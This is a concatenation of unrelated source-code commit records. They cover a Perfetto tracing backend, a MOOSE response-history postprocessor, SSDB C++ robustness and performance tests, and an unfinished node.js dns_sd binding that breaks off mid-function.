return instance;
}
SystemTracingBackend::SystemTracingBackend() {}
std::unique_ptr<ProducerEndpoint> SystemTracingBackend::ConnectProducer(
const ConnectProducerArgs& args) {
PERFETTO_DCHECK(args.task_runner->RunsTasksOnCurrentThread());
std::unique_ptr<SharedMemory> shm;
std::unique_ptr<SharedMemoryArbiter> arbiter;
uint32_t shmem_size_hint = args.shmem_size_hint_bytes;
uint32_t shmem_page_size_hint = args.shmem_page_size_hint_bytes;
if (args.use_producer_provided_smb) {
if (shmem_size_hint == 0)
shmem_size_hint = TracingService::kDefaultShmSize;
if (shmem_page_size_hint == 0)
shmem_page_size_hint = TracingService::kDefaultShmPageSize;
#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)
shm = SharedMemoryWindows::Create(shmem_size_hint);
#else
shm = PosixSharedMemory::Create(shmem_size_hint);
#endif
arbiter = SharedMemoryArbiter::CreateUnboundInstance(shm.get(),
shmem_page_size_hint);
}
auto endpoint = ProducerIPCClient::Connect(
GetProducerSocket(), args.producer, args.producer_name, args.task_runner,
TracingService::ProducerSMBScrapingMode::kEnabled, shmem_size_hint,
shmem_page_size_hint, std::move(shm), std::move(arbiter),
ProducerIPCClient::ConnectionFlags::kRetryIfUnreachable);
PERFETTO_CHECK(endpoint);
return endpoint;
}
std::unique_ptr<ConsumerEndpoint> SystemTracingBackend::ConnectConsumer(
const ConnectConsumerArgs& args) {
auto endpoint = ConsumerIPCClient::Connect(GetConsumerSocket(), args.consumer,
args.task_runner);
PERFETTO_CHECK(endpoint);
return endpoint;
}
} // namespace internal
} // namespace perfetto
<|endoftext|>
|
<commit_before>// MOOSE includes
#include "ResponseHistoryMean.h"
#include "PostprocessorInterface.h"
#include "VectorPostprocessorInterface.h"
#include "MastodonUtils.h"
#include "ResponseHistoryBuilder.h"
registerMooseObject("MastodonApp", ResponseHistoryMean);
template <>
InputParameters
validParams<ResponseHistoryMean>()
{
InputParameters params = validParams<GeneralVectorPostprocessor>();
params.addRequiredParam<VectorPostprocessorName>(
"response_history",
"Name of the ResponseHistoryBuilder vectorpostprocessor, for which "
"response spectra are calculated.");
// Make sure that csv files are created only at the final timestep
params.set<bool>("contains_complete_history") = true;
params.suppressParameter<bool>("contains_complete_history");
params.set<ExecFlagEnum>("execute_on") = {EXEC_FINAL};
params.suppressParameter<ExecFlagEnum>("execute_on");
params.addClassDescription(
"Calculate the mean acceleration time series given a response history.");
return params;
}
ResponseHistoryMean::ResponseHistoryMean(const InputParameters & parameters)
: GeneralVectorPostprocessor(parameters),
_builder_time(getVectorPostprocessorValue("response_history", "time")),
_history_time(declareVector("time")),
_history_mean(declareVector("mean")),
_builder(getUserObject<ResponseHistoryBuilder>("response_history"))
{
}
void
ResponseHistoryMean::initialize()
{
}
void
ResponseHistoryMean::execute()
{
// Returning the times when response is recorded as an output.
_history_time = _builder_time;
// Calling the "mean" (overloaded) function to compute the mean of response histories.
_history_mean = MastodonUtils::mean(_builder.getHistories());
}
<commit_msg>Fixed test. All tests pass.<commit_after>// MOOSE includes
#include "ResponseHistoryMean.h"
#include "PostprocessorInterface.h"
#include "VectorPostprocessorInterface.h"
#include "MastodonUtils.h"
#include "ResponseHistoryBuilder.h"
registerMooseObject("MastodonApp", ResponseHistoryMean);
template <>
InputParameters
validParams<ResponseHistoryMean>()
{
InputParameters params = validParams<GeneralVectorPostprocessor>();
params.addRequiredParam<VectorPostprocessorName>(
"response_history",
"Name of the ResponseHistoryBuilder vectorpostprocessor, for which "
"response spectra are calculated.");
// Make sure that csv files are created only at the final timestep
params.set<bool>("contains_complete_history") = true;
params.suppressParameter<bool>("contains_complete_history");
params.set<ExecFlagEnum>("execute_on") = {EXEC_FINAL};
params.suppressParameter<ExecFlagEnum>("execute_on");
params.addClassDescription(
"Calculate the mean acceleration time series given a response history.");
return params;
}
ResponseHistoryMean::ResponseHistoryMean(const InputParameters & parameters)
: GeneralVectorPostprocessor(parameters),
_builder_time(getVectorPostprocessorValue("response_history", "time")),
_history_time(declareVector("time")),
_history_mean(declareVector("mean")),
_builder(getUserObjectByName<ResponseHistoryBuilder>(getParam<VectorPostprocessorName>("response_history")))
{
}
void
ResponseHistoryMean::initialize()
{
}
void
ResponseHistoryMean::execute()
{
// Returning the times when response is recorded as an output.
_history_time = _builder_time;
// Calling the "mean" (overloaded) function to compute the mean of response histories.
_history_mean = MastodonUtils::mean(_builder.getHistories());
}
<|endoftext|>
|
<commit_before>#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <vector>
#include <sstream>
#include "SSDB_client.h"
#include "gtest/gtest.h"
#include "ssdb_test.h"
//log info when set true
const bool LDEBUG = false;
using namespace std;
class RobustTest : public SSDBTest
{
public:
ssdb::Status s;
static const int BIG_KEY_NUM = 10000;
static const int threadsNum = 9;
std::vector<std::string> list;
std::vector<std::string> keys;
std::map<std::string, std::string> kvs;
string key, val, getVal, field;
uint32_t keysNum;
int64_t ret;
double score, getScore;
pthread_t bg_tid[threadsNum];
static void* mset_thread_func(void *arg);
static void* mget_thread_func(void *arg);
};
void* RobustTest::mset_thread_func(void *arg) {
if(LDEBUG)
cout<<"mset_thread_func start!"<<endl;
RobustTest* robustTest = (RobustTest*)arg;
ssdb::Client *tmpclient = ssdb::Client::connect(robustTest->ip.data(), robustTest->port);
if(tmpclient == NULL)
{
cout<<"fail to connect to server in mset_thread_func!";
return (void *)NULL;
}
robustTest->s = tmpclient->multi_set(robustTest->kvs);
if(!robustTest->s.ok())
cout<<"set fail!"<<robustTest->s.code()<<endl;
delete tmpclient;
tmpclient = NULL;
if(LDEBUG)
cout<<"mset_thread_func complete!"<<endl;
return (void *)NULL;
}
void* RobustTest::mget_thread_func(void *arg) {
if(LDEBUG)
cout<<"mget_thread_func start!"<<endl;
RobustTest* robustTest = (RobustTest*)arg;
ssdb::Client *tmpclient = ssdb::Client::connect(robustTest->ip.data(), robustTest->port);
if(tmpclient == NULL)
{
cout<<"fail to connect to server in mget_thread_func!";
return (void *)NULL;
}
robustTest->s = tmpclient->get("key1", &robustTest->getVal);
if(LDEBUG)
cout<<"get key1:"<<robustTest->getVal<<endl;
std::vector<std::string> tmplist;
tmplist.clear();
robustTest->s = tmpclient->multi_get(robustTest->keys, &tmplist);
if(!robustTest->s.ok())
cout<<"set fail!"<<robustTest->s.code()<<endl;
if(LDEBUG)
cout<<"Get list size is:"<<tmplist.size()/2<<endl;
delete tmpclient;
tmpclient = NULL;
if(LDEBUG)
cout<<"mget_thread_func end!"<<endl;
return (void *)NULL;
}
TEST_F(RobustTest, Test_bigkey_hash_del) {
#define HsetBigKey(num) for(int n = 0; n < num; n++)\
{\
client->hset(key, field+itoa(n), val+itoa(n));\
}\
client->del(key);
key = "hash_key";
field = "field";
val = GetRandomBytes_(1*1024);
s = client->del(key);
for(int count = 0; count < 1; count++){
keysNum = BIG_KEY_NUM + count;
HsetBigKey(keysNum)
s = client->qpush_front(key, "lfield", &ret);
EXPECT_EQ(ret, 1)<<"lpush!"<<endl;
EXPECT_EQ(s.code(), "ok")<<"lpush fail when keys num is "<<keysNum<<endl;
s = client->qpop_back(key, &getVal);
EXPECT_EQ("lfield", getVal)<<"qpop val get not equal:"<<key<<endl;
client->del(key);
HsetBigKey(keysNum)
s = client->hset(key, "hfield", "hval");
EXPECT_EQ(s.code(), "ok")<<"hset fail when keys num is "<<keysNum<<endl;
s = client->hget(key, "hfield", &getVal);
EXPECT_TRUE(s.ok()&&("hval" == getVal))<<"fail to hget key val!"<<endl;
s = client->del(key);
HsetBigKey(keysNum)
s = client->sadd(key, "smember");
EXPECT_EQ(s.code(), "ok")<<"sadd fail when keys num is "<<keysNum<<endl;
s = client->sismember(key, "smember", &ret);
EXPECT_EQ(1, ret)<<":"<<key<<"not a member!"<<endl;
s = client->del(key);
HsetBigKey(keysNum)
s = client->zset(key, "zmember", 1.0);
EXPECT_EQ(s.code(), "ok")<<"zset fail when keys num is "<<keysNum<<endl;
s = client->zget(key, "zmember", &getScore);
EXPECT_TRUE(s.ok())<<"fail to zget key score!"<<endl;
EXPECT_NEAR(1.0, getScore, eps);
s = client->del(key);
HsetBigKey(keysNum)
s = client->set(key, "kval");
EXPECT_EQ(s.code(), "ok")<<"set fail when keys num is "<<keysNum<<endl;
s = client->get(key, &getVal);
ASSERT_TRUE(s.ok()&&("kval" == getVal))<<"fail to get key val!"<<endl;
s = client->del(key);
}
}
TEST_F(RobustTest, Test_mset_mget_mthreads) {
key = "key";
val = "val";
keysNum = 10000;
keys.clear();
kvs.clear();
void * status;
int setThreads = 1;
for(int n = 0;n < keysNum; n++)
{
keys.push_back(key+itoa(n));
kvs.insert(std::make_pair(key+itoa(n), val+itoa(n)));
}
s = client->multi_del(keys, &ret);
if(!s.ok())
cout<<"del fail!"<<s.code()<<endl;
for(int n = 0; n < setThreads; n++)
{
pthread_create(&bg_tid[n], NULL, &mset_thread_func, this);
usleep(100*1000);
}
for(int n = setThreads; n < threadsNum; n++)
{
pthread_create(&bg_tid[n], NULL, &mget_thread_func, this);
usleep(100*1000);
}
for(int n = 0; n < threadsNum; n++)
{
pthread_join(bg_tid[n], &status);
if(LDEBUG)
cout<<"thread["<<n<<"] return status:"<<status<<endl;
}
list.clear();
s = client->multi_get(keys, &list);
for(int n = 0; n < keysNum; n++)
{
client->get(key+itoa(n), &getVal);
if(getVal != val+itoa(n))
cout<<"not_equal:"<<key+itoa(n)<<endl;
}
s = client->multi_del(keys);
ASSERT_EQ(keysNum, list.size()/2)<<"Set fail at last:"<<list.size()/2<<endl;
}
TEST_F(RobustTest, Test_del_mset_mget_repeat) {
//(123186 ms)
//(181424 ms)
key = "mkey";
val = "val";
keysNum = 20000;
keys.clear();
kvs.clear();
for(int n = 0;n < keysNum; n++)
{
keys.push_back(key+itoa(n));
kvs.insert(std::make_pair(key+itoa(n), val+itoa(n)));
}
s = client->multi_del(keys, &ret);
if(!s.ok())
cout<<"del fail!"<<s.code()<<endl;
s = client->multi_set(kvs);
list.clear();
s = client->multi_get(keys, &list);
for(int n = 0; n < keysNum; n++)
{
client->get(key+itoa(n), &getVal);
ASSERT_EQ(val+itoa(n), getVal)<<"fail to set key:"<<endl;
}
s = client->multi_del(keys);
ASSERT_EQ(keysNum, list.size()/2)<<"Set fail at last:"<<list.size()/2<<endl;
}
TEST_F(RobustTest, Test_multi_bigkey_del) {
//This case need check cpu usage for the background delete thread.
//(60512 ms)
val = "val";
field = "field";
score = 1.0;
keys.clear();
for(int count = 0; count < 10; count++){
key = "zsetkey"+itoa(count);
keys.push_back(key);
for(int n = 0; n < BIG_KEY_NUM; n++)
{
score += 1;
client->zset(key, field+itoa(n), score);
}
key = "setkey"+itoa(count);
keys.push_back(key);
for(int n = 0; n < BIG_KEY_NUM; n++)
{
client->sadd(key, val+itoa(n));
}
key = "listkey"+itoa(count);
keys.push_back(key);
for(int n = 0; n < BIG_KEY_NUM; n++)
{
client->qpush_front(key, val+itoa(n));
}
key = "hashkey"+itoa(count);
keys.push_back(key);
for(int n = 0; n < BIG_KEY_NUM; n++)
{
client->hset(key, field+itoa(n), val+itoa(n));
}
}
s = client->multi_del(keys);
keys.clear();
ASSERT_TRUE(s.ok())<<"del fail!"<<endl;
}
TEST_F(RobustTest, Test_zset_del_zclear_block) {
//Issue:For zset key, del and then zclear will block forever.
key = "key";
field = "field";
score = 1.0;
client->zset(key, field, score);
client->del(key);
client->zclear(key, &ret);
ASSERT_EQ(ret, 0)<<"fail to zclear key!"<<key<<endl;
}
TEST_F(RobustTest, Test_zset_del_set_rank_repeat) {
//Issue:For repeat del and zset, same members can be set.
//./integ-test --gtest_filter=*rank_repeat --gtest_shuffle --gtest_break_on_failure --gtest_repeat=20
key = "xxxxxx";
field = "field";
score = GetRandomDouble_();
client->del(key);
for(int repeat = 0; repeat < 1000; repeat++)
{
client->del(key);
int count = 10;
for(int n = 0; n < count; n++)
{
client->zset(key, field + itoa(n), score + n);
}
for(int n = 0; n < count; n++)
{
// s = client->zrrank(key, field + itoa(n), &ret);
// ASSERT_EQ(count-n-1, ret);
s = client->zrank(key, field + itoa(n), &ret);
ASSERT_EQ(n, ret);
}
client->del(key);
}
}
<commit_msg>[Test] Add zrrank performance testcase<commit_after>#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <vector>
#include <sstream>
#include "SSDB_client.h"
#include "gtest/gtest.h"
#include "ssdb_test.h"
#include <time.h>
//log info when set true
const bool LDEBUG = false;
using namespace std;
class RobustTest : public SSDBTest
{
public:
ssdb::Status s;
static const int BIG_KEY_NUM = 10000;
static const int threadsNum = 9;
std::vector<std::string> list;
std::vector<std::string> keys;
std::map<std::string, std::string> kvs;
string key, val, getVal, field;
uint32_t keysNum;
int64_t ret;
double score, getScore;
pthread_t bg_tid[threadsNum];
static void* mset_thread_func(void *arg);
static void* mget_thread_func(void *arg);
};
void* RobustTest::mset_thread_func(void *arg) {
if(LDEBUG)
cout<<"mset_thread_func start!"<<endl;
RobustTest* robustTest = (RobustTest*)arg;
ssdb::Client *tmpclient = ssdb::Client::connect(robustTest->ip.data(), robustTest->port);
if(tmpclient == NULL)
{
cout<<"fail to connect to server in mset_thread_func!";
return (void *)NULL;
}
robustTest->s = tmpclient->multi_set(robustTest->kvs);
if(!robustTest->s.ok())
cout<<"set fail!"<<robustTest->s.code()<<endl;
delete tmpclient;
tmpclient = NULL;
if(LDEBUG)
cout<<"mset_thread_func complete!"<<endl;
return (void *)NULL;
}
void* RobustTest::mget_thread_func(void *arg) {
if(LDEBUG)
cout<<"mget_thread_func start!"<<endl;
RobustTest* robustTest = (RobustTest*)arg;
ssdb::Client *tmpclient = ssdb::Client::connect(robustTest->ip.data(), robustTest->port);
if(tmpclient == NULL)
{
cout<<"fail to connect to server in mget_thread_func!";
return (void *)NULL;
}
robustTest->s = tmpclient->get("key1", &robustTest->getVal);
if(LDEBUG)
cout<<"get key1:"<<robustTest->getVal<<endl;
std::vector<std::string> tmplist;
tmplist.clear();
robustTest->s = tmpclient->multi_get(robustTest->keys, &tmplist);
if(!robustTest->s.ok())
cout<<"set fail!"<<robustTest->s.code()<<endl;
if(LDEBUG)
cout<<"Get list size is:"<<tmplist.size()/2<<endl;
delete tmpclient;
tmpclient = NULL;
if(LDEBUG)
cout<<"mget_thread_func end!"<<endl;
return (void *)NULL;
}
TEST_F(RobustTest, Test_bigkey_hash_del) {
#define HsetBigKey(num) for(int n = 0; n < num; n++)\
{\
client->hset(key, field+itoa(n), val+itoa(n));\
}\
client->del(key);
key = "hash_key";
field = "field";
val = GetRandomBytes_(1*1024);
s = client->del(key);
for(int count = 0; count < 1; count++){
keysNum = BIG_KEY_NUM + count;
HsetBigKey(keysNum)
s = client->qpush_front(key, "lfield", &ret);
EXPECT_EQ(ret, 1)<<"lpush!"<<endl;
EXPECT_EQ(s.code(), "ok")<<"lpush fail when keys num is "<<keysNum<<endl;
s = client->qpop_back(key, &getVal);
EXPECT_EQ("lfield", getVal)<<"qpop val get not equal:"<<key<<endl;
client->del(key);
HsetBigKey(keysNum)
s = client->hset(key, "hfield", "hval");
EXPECT_EQ(s.code(), "ok")<<"hset fail when keys num is "<<keysNum<<endl;
s = client->hget(key, "hfield", &getVal);
EXPECT_TRUE(s.ok()&&("hval" == getVal))<<"fail to hget key val!"<<endl;
s = client->del(key);
HsetBigKey(keysNum)
s = client->sadd(key, "smember");
EXPECT_EQ(s.code(), "ok")<<"sadd fail when keys num is "<<keysNum<<endl;
s = client->sismember(key, "smember", &ret);
EXPECT_EQ(1, ret)<<":"<<key<<"not a member!"<<endl;
s = client->del(key);
HsetBigKey(keysNum)
s = client->zset(key, "zmember", 1.0);
EXPECT_EQ(s.code(), "ok")<<"zset fail when keys num is "<<keysNum<<endl;
s = client->zget(key, "zmember", &getScore);
EXPECT_TRUE(s.ok())<<"fail to zget key score!"<<endl;
EXPECT_NEAR(1.0, getScore, eps);
s = client->del(key);
HsetBigKey(keysNum)
s = client->set(key, "kval");
EXPECT_EQ(s.code(), "ok")<<"set fail when keys num is "<<keysNum<<endl;
s = client->get(key, &getVal);
ASSERT_TRUE(s.ok()&&("kval" == getVal))<<"fail to get key val!"<<endl;
s = client->del(key);
}
}
TEST_F(RobustTest, Test_mset_mget_mthreads) {
key = "key";
val = "val";
keysNum = 10000;
keys.clear();
kvs.clear();
void * status;
int setThreads = 1;
for(int n = 0;n < keysNum; n++)
{
keys.push_back(key+itoa(n));
kvs.insert(std::make_pair(key+itoa(n), val+itoa(n)));
}
s = client->multi_del(keys, &ret);
if(!s.ok())
cout<<"del fail!"<<s.code()<<endl;
for(int n = 0; n < setThreads; n++)
{
pthread_create(&bg_tid[n], NULL, &mset_thread_func, this);
usleep(100*1000);
}
for(int n = setThreads; n < threadsNum; n++)
{
pthread_create(&bg_tid[n], NULL, &mget_thread_func, this);
usleep(100*1000);
}
for(int n = 0; n < threadsNum; n++)
{
pthread_join(bg_tid[n], &status);
if(LDEBUG)
cout<<"thread["<<n<<"] return status:"<<status<<endl;
}
list.clear();
s = client->multi_get(keys, &list);
for(int n = 0; n < keysNum; n++)
{
client->get(key+itoa(n), &getVal);
if(getVal != val+itoa(n))
cout<<"not_equal:"<<key+itoa(n)<<endl;
}
s = client->multi_del(keys);
ASSERT_EQ(keysNum, list.size()/2)<<"Set fail at last:"<<list.size()/2<<endl;
}
TEST_F(RobustTest, Test_del_mset_mget_repeat) {
//(123186 ms)
//(181424 ms)
key = "mkey";
val = "val";
keysNum = 20000;
keys.clear();
kvs.clear();
for(int n = 0;n < keysNum; n++)
{
keys.push_back(key+itoa(n));
kvs.insert(std::make_pair(key+itoa(n), val+itoa(n)));
}
s = client->multi_del(keys, &ret);
if(!s.ok())
cout<<"del fail!"<<s.code()<<endl;
s = client->multi_set(kvs);
list.clear();
s = client->multi_get(keys, &list);
for(int n = 0; n < keysNum; n++)
{
client->get(key+itoa(n), &getVal);
ASSERT_EQ(val+itoa(n), getVal)<<"fail to set key:"<<endl;
}
s = client->multi_del(keys);
ASSERT_EQ(keysNum, list.size()/2)<<"Set fail at last:"<<list.size()/2<<endl;
}
TEST_F(RobustTest, Test_multi_bigkey_del) {
//This case need check cpu usage for the background delete thread.
//(60512 ms)
val = "val";
field = "field";
score = 1.0;
keys.clear();
for(int count = 0; count < 10; count++){
key = "zsetkey"+itoa(count);
keys.push_back(key);
for(int n = 0; n < BIG_KEY_NUM; n++)
{
score += 1;
client->zset(key, field+itoa(n), score);
}
key = "setkey"+itoa(count);
keys.push_back(key);
for(int n = 0; n < BIG_KEY_NUM; n++)
{
client->sadd(key, val+itoa(n));
}
key = "listkey"+itoa(count);
keys.push_back(key);
for(int n = 0; n < BIG_KEY_NUM; n++)
{
client->qpush_front(key, val+itoa(n));
}
key = "hashkey"+itoa(count);
keys.push_back(key);
for(int n = 0; n < BIG_KEY_NUM; n++)
{
client->hset(key, field+itoa(n), val+itoa(n));
}
}
s = client->multi_del(keys);
keys.clear();
ASSERT_TRUE(s.ok())<<"del fail!"<<endl;
}
TEST_F(RobustTest, Test_zset_del_zclear_block) {
//Issue:For zset key, del and then zclear will block forever.
key = "key";
field = "field";
score = 1.0;
client->zset(key, field, score);
client->del(key);
client->zclear(key, &ret);
ASSERT_EQ(ret, 0)<<"fail to zclear key!"<<key<<endl;
}
TEST_F(RobustTest, Test_zset_del_set_rank_repeat) {
//Issue:For repeat del and zset, same members can be set.
//./integ-test --gtest_filter=*rank_repeat --gtest_shuffle --gtest_break_on_failure --gtest_repeat=20
key = "zkey";
field = "field";
score = GetRandomDouble_();
client->del(key);
for(int repeat = 0; repeat < 1000; repeat++)
{
client->del(key);
int count = 10;
for(int n = 0; n < count; n++)
{
client->zset(key, field + itoa(n), score + n);
}
for(int n = 0; n < count; n++)
{
// s = client->zrrank(key, field + itoa(n), &ret);
// ASSERT_EQ(count-n-1, ret);
s = client->zrank(key, field + itoa(n), &ret);
ASSERT_EQ(n, ret);
}
client->del(key);
}
}
TEST_F(RobustTest, DISABLED_Test_zset_rrank_time_compare) {
//Issue:For zrrank slow, compare zrank to zrrank, run this case repeat make the zrrank slower.
//Disable this case for it's storage engine's issue
time_t cur_seconds, pre_seconds;
int count = 10;
key = "zrank";
field = "field";
score = GetRandomDouble_();
client->del(key);
for(int n = 0; n < 10; n++)
{
client->zset(key, field + itoa(n), score + n);
}
key = "zkey";
field = "field";
score = GetRandomDouble_();
client->del(key);
for(int n = 0; n < 10; n++)
{
client->zset(key, field + itoa(n), score + n);
}
cur_seconds = time((time_t*)NULL);
for(int repeat = 0; repeat < 1000; repeat++)
{
for(int n = 0; n < count; n++)
{
s = client->zrank(key, field + itoa(n), &ret);
ASSERT_EQ(n, ret);
}
}
pre_seconds = cur_seconds;
cur_seconds = time((time_t*)NULL);
cout<<"zrank cost total time is:"<<cur_seconds-pre_seconds<<"(secs)"<<endl;
for(int repeat = 0; repeat < 1000; repeat++)
{
int count = 10;
for(int n = 0; n < count; n++)
{
s = client->zrrank(key, field + itoa(n), &ret);
ASSERT_EQ(count-n-1, ret);
}
}
pre_seconds = cur_seconds;
cur_seconds = time((time_t*)NULL);
cout<<"zrrank cost total time is:"<<cur_seconds-pre_seconds<<"(secs)"<<endl;
client->del(key);
client->del("zrank");
}
<|endoftext|>
|
<commit_before>#include <node.h>
#include <v8.h>
#include <dns_sd.h>
#include <mutex>
#include <map>
using namespace v8;
using namespace node;
using namespace std;
Persistent<Function> AdvertisementConstructor;
Persistent<Function> BrowserConstructor;
Persistent<Function> Require;
map<DNSServiceRef volatile *, Local<Object> > refMap;
void NewAdvertisement(const FunctionCallbackInfo<Value> &args) {
auto isolate = Isolate::GetCurrent();
if (args.IsConstructCall()) {
auto volatile ref = new DNSServiceRef;
DNSServiceRegister(ref, 0, 0, NULL, *String::Utf8Value(args[0]->ToString()), NULL, NULL, args[1]->Int32Value(), 0, NULL, NULL, NULL);
args.This()->SetAlignedPointerInInternalField(args.This()->InternalFieldCount() - 1, ref);
args.This()->Set(String::NewSymbol("service"), args[0]->ToString(), ReadOnly);
args.This()->Set(String::NewSymbol("port"), Number::New(args[1]->Int32Value()), ReadOnly);
args.This()->Set(String::NewSymbol("advertising"), True(isolate), ReadOnly);
args.GetReturnValue().Set(args.This());
} else {
auto cons = Local<Function>::New(isolate, AdvertisementConstructor);
args.GetReturnValue().Set(cons->NewInstance(2, (Local<Value>[]){ args[0], args[1] }));
}
}
void NewBrowser(const FunctionCallbackInfo<Value> &args) {
auto isolate = Isolate::GetCurrent();
if (args.IsConstructCall()) {
auto volatile ref = new DNSServiceRef;
auto Socket = Local<Function>::Cast(Local<Function>::New(isolate, Require)->Call(Null(isolate), 1, (Local<Value>[]){ String::NewFromUtf8("Socket") }));
DNSServiceBrowse(ref, 0, 0, *String::Utf8Value(args[0]->ToString()), NULL, [](DNSServiceRef sdRef, DNSServiceFlags flags, uint32_t interfaceIndex, DNSServiceErrorType errorCode, const char *serviceName, const char *regtype, const char *replyDomain, void *context) {
auto isolate = Isolate::GetCurrent();
auto tpl = FunctionTemplate::New();
tpl->SetClassName(String::NewFromUtf8(isolate, "DNSServiceBrowserReply"));
tpl->InstanceTemplate()->SetInternalFieldCount(0);
auto ret = tpl->InstanceTemplate()->NewInstance();
auto type = "";
if (flags & kDNSServiceFlagsAdd)
type = "found";
else
type = "lost";
ret->Set(String::NewSymbol("type"), String::NewFromUtf8(isolate, type));
ret->Set(String::NewSymbol("host"), String::NewFromUtf8(isolate, serviceName));
ret->Set(String::NewSymbol("service"), String::NewFromUtf8(isolate, regtype));
MakeCallback(refMap[&sdRef], "emit", 2, (Local<Value>[]){ String::NewFromUtf8(isolate, type), ret });
}, NULL);
auto opts = Object::New();
opts->Set(String::NewSymbol("fd"), Integer::New(DNSServiceRefSockFD(*ref)));
auto socket = Socket->NewInstance(1, (Local<Value>[]){ opts });
//...
args.This()->SetAlignedPointerInInternalField(args.This()->InternalFieldCount() - 1, ref);
args.This()->Set(String::NewSymbol("service"), args[0]->ToString(), ReadOnly);
args.This()->Set(String::NewSymbol("listening"), True(isolate), ReadOnly);
NODE_SET_METHOD(args.This(), "processResult", [](const FunctionCallbackInfo<Value> &args) {
auto isolate = Isolate::GetCurrent();
auto ref = (DNSServiceRef *)args.Holder()->GetAlignedPointerFromInternalField(0);
if (ref) {
DNSServiceProcessResult(*ref);
args.GetReturnValue().Set(args.Holder());
} else {
ThrowException(Exception::ReferenceError(String::NewFromUtf8(isolate, "Invoked processResult on terminated browser")));
}
});
NODE_SET_METHOD(args.This(), "removeInits", [](const FunctionCallbackInfo<Value> &args) {
auto isolate = Isolate::GetCurrent();
if (args.Holder()->Has(String::NewSymbol("removeInits"))) {
args.Holder()->ForceDelete(String::NewSymbol("sockFd"));
args.Holder()->ForceDelete(String::NewSymbol("processResult"));
args.Holder()->ForceDelete(String::NewSymbol("removeInits"));
args.GetReturnValue().Set(args.Holder());
} else {
ThrowException(Exception::ReferenceError(String::NewFromUtf8(isolate, "Inits already removed")));
}
});
refMap[ref] = Local<Object>::New(isolate, args.This());
args.GetReturnValue().Set(args.This());
} else {
auto cons = Local<Function>::New(isolate, BrowserConstructor);
args.GetReturnValue().Set(cons->NewInstance(2, (Local<Value>[]){ args[0], args[1] }));
}}
void Terminate(const FunctionCallbackInfo<Value> &args) {
auto isolate = Isolate::GetCurrent();
auto ref = (DNSServiceRef *)args.Holder()->GetAlignedPointerFromInternalField(args.Holder()->InternalFieldCount() - 1);
if (ref) {
assert(ref != NULL);
DNSServiceRefDeallocate(*ref);
delete ref;
args.Holder()->SetAlignedPointerInInternalField(args.Holder()->InternalFieldCount() - 1, NULL);
if (args.Holder()->GetConstructorName()->Equals(String::NewFromUtf8(isolate, "DNSServiceAdvertisement")))
args.Holder()->ForceSet(String::NewSymbol("advertising"), False(isolate), ReadOnly);
else if (args.Holder()->GetConstructorName()->Equals(String::NewFromUtf8(isolate, "DNSServiceBrowser")))
args.Holder()->ForceSet(String::NewSymbol("listening"), False(isolate), ReadOnly);
else
ThrowException(Exception::TypeError(String::NewFromUtf8(isolate, "Terminate called on object of unknown type")));
args.GetReturnValue().Set(args.Holder());
} else {
if (args.Holder()->GetConstructorName()->Equals(String::NewFromUtf8(isolate, "DNSServiceAdvertisement")))
ThrowException(Exception::ReferenceError(String::NewFromUtf8(isolate, "Advertisement already terminated")));
else if (args.Holder()->GetConstructorName()->Equals(String::NewFromUtf8(isolate, "DNSServiceBrowser")))
ThrowException(Exception::ReferenceError(String::NewFromUtf8(isolate, "Browser already terminated")));
else
ThrowException(Exception::TypeError(String::NewFromUtf8(isolate, "Terminate called on object of unknown type with no internal ref")));
}
}
void init(Handle<Object> exports) {
// Get handle to require
NODE_SET_METHOD(exports, "registerRequire", [](const FunctionCallbackInfo<Value> &args) {
auto isolate = Isolate::GetCurrent();
Require.Reset(isolate, Local<Function>::Cast(args[0]));
args.Holder()->ForceDelete(String::NewSymbol("registerRequire"));
args.GetReturnValue().Set(args.Holder());
// Initializing Advertisement
{
auto tpl = FunctionTemplate::New(NewAdvertisement);
tpl->SetClassName(String::NewFromUtf8(isolate, "DNSServiceAdvertisement"));
tpl->InstanceTemplate()->SetInternalFieldCount(1);
NODE_SET_PROTOTYPE_METHOD(tpl, "terminate", Terminate);
AdvertisementConstructor.Reset(isolate, tpl->GetFunction());
NODE_SET_METHOD(args.Holder(), "DNSServiceAdvertisement", NewAdvertisement);
}
// Initializing Browser
{
auto tpl = FunctionTemplate::New(NewBrowser);
auto require = Local<Function>::New(isolate, Require);
auto inherits = Local<Function>::Cast(Local<Object>::Cast(require->Call(Null(isolate), 1, (Local<Value>[]){ String::NewFromUtf8(isolate, "util") }))->Get(String::NewSymbol("inherits")));
auto EventEmitter = Local<Function>::Cast(Local<Object>::Cast(require->Call(Null(isolate), 1, (Local<Value>[]){ String::NewFromUtf8(isolate, "events") }))->Get(String::NewSymbol("EventEmitter")));
auto tempEventEmitter = EventEmitter->NewInstance();
tpl->SetClassName(String::NewFromUtf8(isolate, "DNSServiceBrowser"));
tpl->InstanceTemplate()->SetInternalFieldCount(tempEventEmitter->InternalFieldCount() + 1);
NODE_SET_PROTOTYPE_METHOD(tpl, "terminate", Terminate);
auto ConstructorFunc = tpl->GetFunction();
inherits->Call(Null(isolate), 2, (Local<Value>[]){ ConstructorFunc, EventEmitter });
BrowserConstructor.Reset(isolate, ConstructorFunc);
NODE_SET_METHOD(args.Holder(), "DNSServiceBrowser", NewBrowser);
}
});
}
NODE_MODULE(dns_sd, init)<commit_msg>Doesn't exactly work..<commit_after>#include <node.h>
#include <v8.h>
#include <dns_sd.h>
#include <mutex>
#include <map>
#include <functional>
#include <pthread.h>
using namespace v8;
using namespace node;
using namespace std;
Persistent<Function> AdvertisementConstructor;
Persistent<Function> BrowserConstructor;
Persistent<Function> Require;
map<DNSServiceRef volatile *, Local<Object> > refMap;
void NewAdvertisement(const FunctionCallbackInfo<Value> &args) {
auto isolate = Isolate::GetCurrent();
if (args.IsConstructCall()) {
auto volatile ref = new DNSServiceRef;
DNSServiceRegister(ref, 0, 0, NULL, *String::Utf8Value(args[0]->ToString()), NULL, NULL, args[1]->Int32Value(), 0, NULL, NULL, NULL);
args.This()->SetAlignedPointerInInternalField(args.This()->InternalFieldCount() - 1, ref);
args.This()->Set(String::NewSymbol("service"), args[0]->ToString(), ReadOnly);
args.This()->Set(String::NewSymbol("port"), Number::New(args[1]->Int32Value()), ReadOnly);
args.This()->Set(String::NewSymbol("advertising"), True(isolate), ReadOnly);
args.GetReturnValue().Set(args.This());
} else {
auto cons = Local<Function>::New(isolate, AdvertisementConstructor);
args.GetReturnValue().Set(cons->NewInstance(2, (Local<Value>[]){ args[0], args[1] }));
}
}
void NewBrowser(const FunctionCallbackInfo<Value> &args) {
